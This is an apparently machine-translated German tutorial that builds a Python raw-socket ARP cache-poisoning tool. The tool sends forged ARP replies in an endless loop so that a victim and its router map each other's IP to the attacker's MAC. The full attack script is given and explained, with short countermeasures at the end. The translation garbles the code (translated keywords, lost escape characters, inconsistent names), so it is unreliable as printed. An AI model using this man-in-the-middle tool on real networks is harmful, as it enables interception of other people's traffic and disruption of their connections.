ARP-Vergiftungsangriff mit Raw-Sockets in Python

Heute zeige ich Ihnen, wie Sie eine Angriffs-ARP-Vergiftung (Cache Poisoning ARP) implementieren . Dazu verwende ich Raw-Sockets in Python . Das Ziel ist, zu sehen, wie diese Socket-Typen funktionieren, wie dieser Angriff funktioniert, oder in der Lage zu sein, Tests in Ihrem Netzwerk durchzuführen (obwohl es bereits Tools im Netzwerk gibt), die Sie nicht verwenden böswillige Zwecke.

Hinweis
Mit scapy können Sie diese Arbeit schneller und einfacher implementieren, aber wenn Sie dieses Tutorial sehen, können Sie das Wissen nutzen, um die Bibliothek zu nutzen und es selbst zu tun, wenn wir es anders herum machen würden, würden Sie mehr kosten. Die hier gezeigte Methode funktioniert nur auf Linux-Systemen.

Kleine Details, die Sie kennen sollten

ARP
Es ist das Adressauflösungsprotokoll, das in der Netzwerkschicht gefunden wird. Seine Aufgabe ist es, die MAC-Adresse (physikalische Adresse) zu finden, die einer bestimmten IP-Adresse (Netzwerkadresse) entspricht.

Caches ARP
Jedes Gerät hat einen kleinen Speicher, in dem MAC-IP-Übersetzungen gespeichert werden. Wir werden diesen Angriff nutzen. Es gibt diesen Cache, da er die Überlastung vermeidet, die Übersetzung jedes Mal anzufordern, wenn wir uns mit einem anderen Gerät verbinden.

Die Funktionsweise des ARP-Protokolls ist einfach: Wenn Sie ein Paket an eine andere Person senden, wird der Cache des Geräts überprüft. Wenn diese Übersetzung vorhanden ist, wird das Paket gesendet. Wenn kein ARP vorhanden ist, wird ein Broadcast-Paket gesendet (es ist etwas Besonderes, es hat die MAC-Adresse) Ziel ff: ff: ff: ff: ff: ff), dieses Paket wird alle Geräte im Netzwerk erreichen und “fragen”, wer die IP-Adresse gesucht hat, jedes Gerät wird den speziellen MAC sehen, wenn es das Paket liest, und nur Derjenige, der die gesuchte IP-Adresse hat, antwortet und gibt seinen MAC an. In diesem Moment wird er im Cache gespeichert, damit er in den nächsten Minuten nicht noch einmal nachfragen muss.

Der ARP-Vergiftungsangriff wird verwendet, um die Daten auszuspionieren, die durch ein Netzwerk geleitet werden, oder wir können ihn auch verwenden, damit die Daten nicht die Ziele erreichen, an die sie geleitet werden. Dieser Angriff besteht darin, ständig ARP-Pakete an das Netzwerk zu senden, die anzeigen, dass unser MAC der IP des Opfers entspricht und dass unser MAC der IP des Routers zugeordnet ist . Pakete müssen ständig gesendet werden, da es sich um ein dynamisches Protokoll handelt. Der Cache ändert sich. Möglicherweise wird die Übersetzung gelöscht und mit den tatsächlichen Daten aktualisiert. Um sicherzustellen, dass alle paar Minuten Pakete gesendet werden, sind diese nicht sehr schwer. Daher überlasten sie das Netzwerk normalerweise nicht.

Hinweis
ARP ist ein Protokoll, das nur in IPv4 verwendet wird. Daher ist dieser Angriff nicht für IPv6 gültig. Der Angriff auf eine Vergiftung kann jedoch mithilfe eines anderen Protokolls wie NDP erfolgen, mit dem “Nachbarn” in einem Netzwerk erkannt werden.

Um unser Beispiel zu starten, müssen wir die IP-Adressen des Opfers und des Routergateways sowie dessen MAC kennen. Sie können nmap verwenden, um die aktiven Geräte in Ihrem Netzwerk zu ermitteln. Der MAC kann beispielsweise einfach abgerufen werden Um die Cache-Adresse 192.168.66.2 zu vergiften, die mein Opfer sein wird (eine virtuelle Maschine), führe ich im cmd oder Terminal Folgendes aus:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1 

Das -cy -n gibt an, dass ein einzelnes Paket gesendet wird, wobei jedes Betriebssystem einen anderen Parameter hat. Später setzen wir:

 arp -a 

Es zeigt den ARP-Cache an, daher können wir die Übersetzungen sehen, die wir gespeichert haben (und nachdem wir zuvor einen Ping durchgeführt haben, haben wir die Übersetzung mit dem Opfer). Wir müssen dasselbe mit dem Gateway des Routers machen:

See also  Python - Wörterbücher

arpPoisoning1.jpg

Dann werde ich alle Daten, die wir haben müssen, übergeben:

  • Opfer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Mein PC -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Ich füge den vollständigen Code hinzu und erkläre ihn weiter unten. Er funktioniert für Python in der Version 2.x, aber mit kleinen Änderungen kannst du ihn an die Version 3.x anpassen:

 Import-Socket Importzeit, Struktur, Binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = " x00  x0c  x29  x5e  xcb  x5f" macVictima = " x00  x50  x56  xe3  xd1  x75" macRouter = " x00  x50  x56  xc0  x00  x08" code = " x08  x06" PackageComun = macOrigen + Code eth1 = macVictima + packageComun eth2 = macRouter + packageComun typeHardware = " x00  x01" typeProtocol = " x08  x00" lengthHardware = " x06" lengthProtocol = " x04" codeOperation = " x00  x02" Shareheader = typeHardware + typeProtocol + lengthHardware + lengthProtocol + codeOperation + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + shareheader + ipRouter + macVictima + ipVictima arpRouter = eth2 + shareheader + ipVictima + macRouter + ipRouter print ("Caches vergiften ... um STRG + C zu stoppen") während wahr: conexion.send (arpRouter) connection.send (arpVictima) Schlafenszeit (1) 

Als erstes importieren wir die notwendigen Bibliotheken, die keiner weiteren Erklärung bedürfen. Fahren wir mit den folgenden Zeilen fort:

 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) 

Die erste Zeile erstellt einen Socket mit den folgenden Merkmalen:

  • PF_PACKET : Zum Senden und Empfangen von Paketen auf niedriger Ebene.
  • SOCK_RAW : Um Raw-Sockets zu verwenden.
  • socket.htons (0x0800) : Die 0x0800 definiert das ETH_P_IP-Protokoll, die ntohs-Funktion konvertiert vom Netzwerkformat in Bytes im entsprechenden Format für unseren Computer (s bedeutet kurz, das sind 16 Bits, wenn es ein l hätte, wären sie es) 32 Bit).
See also  So melden Sie sich unter Linux vom Terminal ab

Und der zweite übernimmt das “Abhören” der Buchse:

  • ens33 : ist die Netzwerkschnittstelle, an der wir arbeiten werden. Ihre kann eth0 sein. Wenn Sie eine ifconfig verwenden, wird diese angezeigt (siehe Abbildung unten).
  • socket.htons (0x800) : das gleiche wie vorher gesagt.

ifconfig.jpg

Die Zeilen, die wir als nächstes sehen, werden die Ethernet-Header erstellen. Dazu legen wir den MAC und den Code (derjenige, zu dem wir gehören, gehört zum ARP-Protokoll) fest. Wenn Sie mehr über Ethernet erfahren möchten, klicken Sie hier :

 macOrigen = " x00  x0c  x29  x5e  xcb  x5f" macVictima = " x00  x50  x56  xe3  xd1  x75" macRouter = " x00  x50  x56  xc0  x00  x08" code = " x08  x06" PackageComun = macOrigen + Code eth1 = macVictima + packageComun eth2 = macRouter + packageComun 

Der folgende Teil des Codes stellt die ARP-Pakete zusammen. Um die Struktur zu konsultieren, besuchen Sie den folgenden Link und gehen Sie zum Strukturabschnitt des Pakets. Der Operationscode x00 x02 gibt an, dass es sich um ein Antwortpaket handelt (wenn es 1 wäre, wäre es eine Anforderung), und die Funktion socket.inet_aton () konvertiert eine IPv4-Adresse in ein 32-Bit-Binärformat. Wie Sie im vorherigen Code sehen konnten und Sie sehen jetzt, wie Sie ein Paket erstellen, verketten wir seine Teile.

 typeHardware = " x00  x01" typeProtocol = " x08  x00" lengthHardware = " x06" lengthProtocol = " x04" codeOperation = " x00  x02" Shareheader = typeHardware + typeProtocol + lengthHardware + lengthProtocol + codeOperation + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + shareheader + ipRouter + macVictima + ipVictima arpRouter = eth2 + shareheader + ipVictima + macRouter + ipRouter 

Der letzte Teil des Codes zeigt eine Meldung an, um zu wissen, dass er funktioniert, und tritt in eine Endlosschleife ein, die Pakete sendet, um die Caches unseres Opfers und das Gateway des Routers zu vergiften. Dies geschieht jede Sekunde, seit wir schlafen.

 print ("Caches vergiften ... um STRG + C zu stoppen") während wahr: conexion.send (arpRouter) connection.send (arpVictima) Schlafenszeit (1) 

Mal sehen, wie die Programmausführung aussieht (wir müssen sie als Root-Benutzer ausführen ):

See also  Debuggen mit Less.js

workingPoisoning.jpg

Und wenn wir uns den Cache des Opfers ansehen, können wir sehen, dass seine IP-Adresse jetzt dem MAC des Angreifers zugeordnet ist:

cacheEnvenenada.jpg

Gegenmaßnahmen
  • Verwenden Sie statische ARP-Tabellen . Wir fügen die Einträge manuell hinzu und lassen sie nicht variieren.
  • Aktivieren Sie Reverse ARP . Dieses Protokoll gibt die IP-Adresse von einem MAC zurück. Wenn es also mehr als eine IP-Adresse zurückgibt, haben wir wahrscheinlich Spoofing durchgeführt.

Diese Maßnahmen erfordern ein Minimum an Kenntnissen, sodass nicht jeder in der Lage ist, sie auszuführen. Wenn Sie sich jedoch in unseren Abschnitten zu IT- Sicherheitsfragen oder Lernprogrammen umsehen, werden Sie sicherlich Hilfe finden.

Falls Sie den Code hier haben möchten, hinterlasse ich Ihnen eine Zip:

Code herunterladen
Angehängte Datei 58 Descargas ArpPoisoning.zip 579 Bytes 58 Downloads

administrator

Leave a Reply

Your email address will not be published. Required fields are marked *